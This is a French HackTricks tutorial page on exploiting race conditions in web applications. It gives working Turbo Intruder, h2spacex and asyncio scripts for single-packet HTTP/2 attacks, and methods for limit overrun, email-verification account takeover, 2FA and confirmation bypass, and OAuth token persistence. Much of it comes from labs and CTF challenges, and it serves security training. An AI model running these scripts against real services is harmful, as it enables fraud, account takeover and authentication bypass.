Condition de Course

Reading time: 15 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

warning

Pour obtenir une compréhension approfondie de cette technique, consultez le rapport original sur https://portswigger.net/research/smashing-the-state-machine

Amélioration des Attaques par Condition de Course

Le principal obstacle pour tirer parti des conditions de course est de s'assurer que plusieurs requĂȘtes sont traitĂ©es en mĂȘme temps, avec trĂšs peu de diffĂ©rence dans leurs temps de traitement—idĂ©alement, moins de 1ms.

Ici, vous pouvez trouver quelques techniques pour Synchroniser les RequĂȘtes :

Attaque Ă  Paquet Unique HTTP/2 vs. Synchronisation du Dernier Octet HTTP/1.1

  • HTTP/2 : Prend en charge l'envoi de deux requĂȘtes sur une seule connexion TCP, rĂ©duisant l'impact du jitter rĂ©seau. Cependant, en raison des variations cĂŽtĂ© serveur, deux requĂȘtes peuvent ne pas suffire pour une exploitation cohĂ©rente de la condition de course.
  • HTTP/1.1 'Synchronisation du Dernier Octet' : Permet l'envoi prĂ©alable de la plupart des parties de 20-30 requĂȘtes, en retenant un petit fragment, qui est ensuite envoyĂ© ensemble, atteignant simultanĂ©ment le serveur.

Préparation pour la Synchronisation du Dernier Octet implique :

  1. Envoyer les en-tĂȘtes et les donnĂ©es du corps moins le dernier octet sans terminer le flux.
  2. Faire une pause de 100ms aprĂšs l'envoi initial.
  3. DĂ©sactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les derniers trames.
  4. Pinger pour réchauffer la connexion.

L'envoi subséquent des trames retenues devrait aboutir à leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.

S'adapter Ă  l'Architecture du Serveur

Comprendre l'architecture de la cible est crucial. Les serveurs frontaux peuvent router les requĂȘtes diffĂ©remment, affectant le timing. Le rĂ©chauffement prĂ©ventif de la connexion cĂŽtĂ© serveur, Ă  travers des requĂȘtes sans consĂ©quence, pourrait normaliser le timing des requĂȘtes.

Gestion du Verrouillage Basé sur la Session

Des frameworks comme le gestionnaire de session de PHP sĂ©rialisent les requĂȘtes par session, obscurcissant potentiellement les vulnĂ©rabilitĂ©s. Utiliser diffĂ©rents jetons de session pour chaque requĂȘte peut contourner ce problĂšme.

Surmonter les Limites de Taux ou de Ressources

Si le rĂ©chauffement de la connexion est inefficace, dĂ©clencher intentionnellement les dĂ©lais de limites de taux ou de ressources des serveurs web Ă  travers un flot de requĂȘtes fictives pourrait faciliter l'attaque Ă  paquet unique en induisant un dĂ©lai cĂŽtĂ© serveur propice aux conditions de course.

Exemples d'Attaque

  • Tubo Intruder - attaque Ă  paquet unique HTTP2 (1 point de terminaison) : Vous pouvez envoyer la requĂȘte Ă  Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), vous pouvez changer dans la requĂȘte la valeur que vous souhaitez forcer pour %s comme dans csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s et ensuite sĂ©lectionner le examples/race-single-packer-attack.py dans le menu dĂ©roulant :

Si vous allez envoyer différentes valeurs, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers :

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

Si le web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez Engine.THREADED ou Engine.BURP au lieu de Engine.BURP2.

  • Tubo Intruder - attaque Ă  paquet unique HTTP2 (Plusieurs points de terminaison) : Dans le cas oĂč vous devez envoyer une requĂȘte Ă  1 point de terminaison puis plusieurs Ă  d'autres points de terminaison pour dĂ©clencher le RCE, vous pouvez modifier le script race-single-packet-attack.py avec quelque chose comme :
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Il est Ă©galement disponible dans Repeater via la nouvelle option 'Envoyer le groupe en parallĂšle' dans Burp Suite.
  • Pour limit-overrun, vous pourriez simplement ajouter la mĂȘme requĂȘte 50 fois dans le groupe.
  • Pour connection warming, vous pourriez ajouter au dĂ©but du groupe quelques requĂȘtes vers une partie non statique du serveur web.
  • Pour delaying le processus entre le traitement d'une requĂȘte et une autre en 2 Ă©tapes substantielles, vous pourriez ajouter des requĂȘtes supplĂ©mentaires entre les deux requĂȘtes.
  • Pour un RC multi-endpoint, vous pourriez commencer Ă  envoyer la requĂȘte qui va Ă  l'Ă©tat cachĂ© et ensuite 50 requĂȘtes juste aprĂšs qui exploite l'Ă©tat cachĂ©.
  • Script python automatisĂ© : L'objectif de ce script est de changer l'email d'un utilisateur tout en le vĂ©rifiant continuellement jusqu'Ă  ce que le token de vĂ©rification du nouvel email arrive Ă  l'ancien email (c'est parce que dans le code, il voyait un RC oĂč il Ă©tait possible de modifier un email mais d'avoir la vĂ©rification envoyĂ©e Ă  l'ancien car la variable indiquant l'email Ă©tait dĂ©jĂ  peuplĂ©e avec le premier).
    Lorsque le mot "objetivo" est trouvé dans les emails reçus, nous savons que nous avons reçu le token de vérification de l'email changé et nous mettons fin à l'attaque.
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Amélioration de l'attaque par paquet unique

Dans la recherche originale, il est expliquĂ© que cette attaque a une limite de 1 500 octets. Cependant, dans ce post, il a Ă©tĂ© expliquĂ© comment il est possible d'Ă©tendre la limitation de 1 500 octets de l'attaque par paquet unique Ă  la limitation de fenĂȘtre de 65 535 B de TCP en utilisant la fragmentation au niveau IP (en divisant un seul paquet en plusieurs paquets IP) et en les envoyant dans un ordre diffĂ©rent, ce qui a permis d'empĂȘcher le rĂ©assemblage du paquet jusqu'Ă  ce que tous les fragments atteignent le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requĂȘtes en environ 166 ms.

Notez que bien que cette amĂ©lioration rende l'attaque plus fiable dans les RC qui nĂ©cessitent que des centaines/milliers de paquets arrivent en mĂȘme temps, elle peut Ă©galement avoir certaines limitations logicielles. Certains serveurs HTTP populaires comme Apache, Nginx et Go ont un paramĂštre strict SETTINGS_MAX_CONCURRENT_STREAMS de 100, 128 et 250. Cependant, d'autres comme NodeJS et nghttp2 l'ont illimitĂ©.
Cela signifie essentiellement qu'Apache ne considérera que 100 connexions HTTP à partir d'une seule connexion TCP (limitant ainsi cette attaque RC).

Vous pouvez trouver quelques exemples utilisant cette technique dans le dépÎt https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Avant la recherche précédente, voici quelques charges utiles utilisées qui essayaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer une RC.

  • RĂ©pĂ©teur : Consultez les exemples de la section prĂ©cĂ©dente.
  • Intrus : Envoyez la requĂȘte Ă  Intrus, dĂ©finissez le nombre de threads Ă  30 dans le menu Options et sĂ©lectionnez comme charge utile Null payloads et gĂ©nĂ©rez 30.
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

MĂ©thodologie RC

Limite-dépassement / TOCTOU

C'est le type de condition de course le plus basique oĂč les vulnĂ©rabilitĂ©s apparaissent dans des endroits qui limitent le nombre de fois que vous pouvez effectuer une action. Comme utiliser le mĂȘme code de rĂ©duction dans un magasin en ligne plusieurs fois. Un exemple trĂšs simple peut ĂȘtre trouvĂ© dans ce rapport ou dans ce bug.

Il existe de nombreuses variations de ce type d'attaque, y compris :

  • Échanger une carte-cadeau plusieurs fois
  • Évaluer un produit plusieurs fois
  • Retirer ou transfĂ©rer de l'argent en excĂšs de votre solde de compte
  • RĂ©utiliser une seule solution CAPTCHA
  • Contourner une limite de taux anti-brute-force

Sous-états cachés

Exploiter des conditions de course complexes implique souvent de tirer parti d'opportunités brÚves pour interagir avec des sous-états machine cachés ou non intentionnels. Voici comment procéder :

  1. Identifier les sous-états cachés potentiels
  • Commencez par identifier les points de terminaison qui modifient ou interagissent avec des donnĂ©es critiques, telles que les profils d'utilisateur ou les processus de rĂ©initialisation de mot de passe. Concentrez-vous sur :
  • Stockage : PrĂ©fĂ©rez les points de terminaison qui manipulent des donnĂ©es persistantes cĂŽtĂ© serveur plutĂŽt que celles qui gĂšrent des donnĂ©es cĂŽtĂ© client.
  • Action : Recherchez des opĂ©rations qui modifient des donnĂ©es existantes, qui sont plus susceptibles de crĂ©er des conditions exploitables par rapport Ă  celles qui ajoutent de nouvelles donnĂ©es.
  • ClĂ© : Les attaques rĂ©ussies impliquent gĂ©nĂ©ralement des opĂ©rations basĂ©es sur le mĂȘme identifiant, par exemple, le nom d'utilisateur ou le jeton de rĂ©initialisation.
  1. Effectuer un premier sondage
  • Testez les points de terminaison identifiĂ©s avec des attaques de condition de course, en observant toute dĂ©viation par rapport aux rĂ©sultats attendus. Des rĂ©ponses inattendues ou des changements dans le comportement de l'application peuvent signaler une vulnĂ©rabilitĂ©.
  1. Démontrer la vulnérabilité
  • RĂ©duisez l'attaque au nombre minimal de requĂȘtes nĂ©cessaires pour exploiter la vulnĂ©rabilitĂ©, souvent juste deux. Cette Ă©tape peut nĂ©cessiter plusieurs tentatives ou de l'automatisation en raison du timing prĂ©cis impliquĂ©.

Attaques sensibles au temps

La prĂ©cision dans le timing des requĂȘtes peut rĂ©vĂ©ler des vulnĂ©rabilitĂ©s, surtout lorsque des mĂ©thodes prĂ©visibles comme les horodatages sont utilisĂ©es pour les jetons de sĂ©curitĂ©. Par exemple, gĂ©nĂ©rer des jetons de rĂ©initialisation de mot de passe basĂ©s sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requĂȘtes simultanĂ©es.

Pour exploiter :

  • Utilisez un timing prĂ©cis, comme une attaque par paquet unique, pour effectuer des requĂȘtes de rĂ©initialisation de mot de passe simultanĂ©es. Des jetons identiques indiquent une vulnĂ©rabilitĂ©.

Exemple :

  • Demandez deux jetons de rĂ©initialisation de mot de passe en mĂȘme temps et comparez-les. Des jetons correspondants suggĂšrent un dĂ©faut dans la gĂ©nĂ©ration de jetons.

VĂ©rifiez ce PortSwigger Lab pour essayer cela.

Études de cas sur les sous-Ă©tats cachĂ©s

Payer & ajouter un article

Vérifiez ce PortSwigger Lab pour voir comment payer dans un magasin et ajouter un article supplémentaire que vous n'aurez pas besoin de payer.

Confirmer d'autres e-mails

L'idĂ©e est de vĂ©rifier une adresse e-mail et de la changer en une autre en mĂȘme temps pour dĂ©couvrir si la plateforme vĂ©rifie la nouvelle adresse modifiĂ©e.

Changer l'e-mail en 2 adresses e-mail basées sur des cookies

Selon cette recherche, Gitlab était vulnérable à une prise de contrÎle de cette maniÚre car il pourrait envoyer le jeton de vérification d'e-mail d'une adresse à l'autre.

VĂ©rifiez ce PortSwigger Lab pour essayer cela.

États de base de donnĂ©es cachĂ©s / Contournement de confirmation

Si 2 Ă©critures diffĂ©rentes sont utilisĂ©es pour ajouter des informations dans une base de donnĂ©es, il y a une petite portion de temps oĂč seules les premiĂšres donnĂ©es ont Ă©tĂ© Ă©crites dans la base de donnĂ©es. Par exemple, lors de la crĂ©ation d'un utilisateur, le nom d'utilisateur et le mot de passe peuvent ĂȘtre Ă©crits et ensuite le jeton pour confirmer le compte nouvellement crĂ©Ă© est Ă©crit. Cela signifie que pendant un court laps de temps, le jeton pour confirmer un compte est nul.

Par consĂ©quent, enregistrer un compte et envoyer plusieurs requĂȘtes avec un jeton vide (token= ou token[]= ou toute autre variation) pour confirmer le compte immĂ©diatement pourrait permettre de confirmer un compte oĂč vous ne contrĂŽlez pas l'e-mail.

VĂ©rifiez ce PortSwigger Lab pour essayer cela.

Contournement de 2FA

Le pseudo-code suivant est vulnérable à une condition de course car pendant un trÚs court laps de temps, le 2FA n'est pas appliqué pendant que la session est créée :

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 persistance Ă©ternelle

Il existe plusieurs fournisseurs OAUth. Ces services vous permettront de créer une application et d'authentifier les utilisateurs que le fournisseur a enregistrés. Pour ce faire, le client devra permettre à votre application d'accéder à certaines de ses données à l'intérieur du fournisseur OAUth.
Donc, jusqu'ici, c'est juste une connexion classique avec google/linkedin/github... oĂč vous ĂȘtes invitĂ© avec une page disant : "L'application <InsertCoolName> souhaite accĂ©der Ă  vos informations, voulez-vous l'autoriser ?"

Condition de course dans authorization_code

Le problĂšme apparaĂźt lorsque vous l'acceptez et envoie automatiquement un authorization_code Ă  l'application malveillante. Ensuite, cette application abuse d'une Condition de course dans le fournisseur de service OAUth pour gĂ©nĂ©rer plus d'un AT/RT (Token d'authentification/Token de rafraĂźchissement) Ă  partir du authorization_code pour votre compte. En gros, elle va abuser du fait que vous avez acceptĂ© l'application pour accĂ©der Ă  vos donnĂ©es afin de crĂ©er plusieurs comptes. Ensuite, si vous arrĂȘtez de permettre Ă  l'application d'accĂ©der Ă  vos donnĂ©es, une paire d'AT/RT sera supprimĂ©e, mais les autres resteront valides.

Condition de course dans Refresh Token

Une fois que vous avez obtenu un RT valide, vous pourriez essayer de l'abuser pour gĂ©nĂ©rer plusieurs AT/RT et mĂȘme si l'utilisateur annule les autorisations pour l'application malveillante d'accĂ©der Ă  ses donnĂ©es, plusieurs RT resteront valides.

RC dans WebSockets

Dans WS_RaceCondition_PoC, vous pouvez trouver un PoC en Java pour envoyer des messages websocket en parallĂšle afin d'abuser des Conditions de course Ă©galement dans les Web Sockets.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks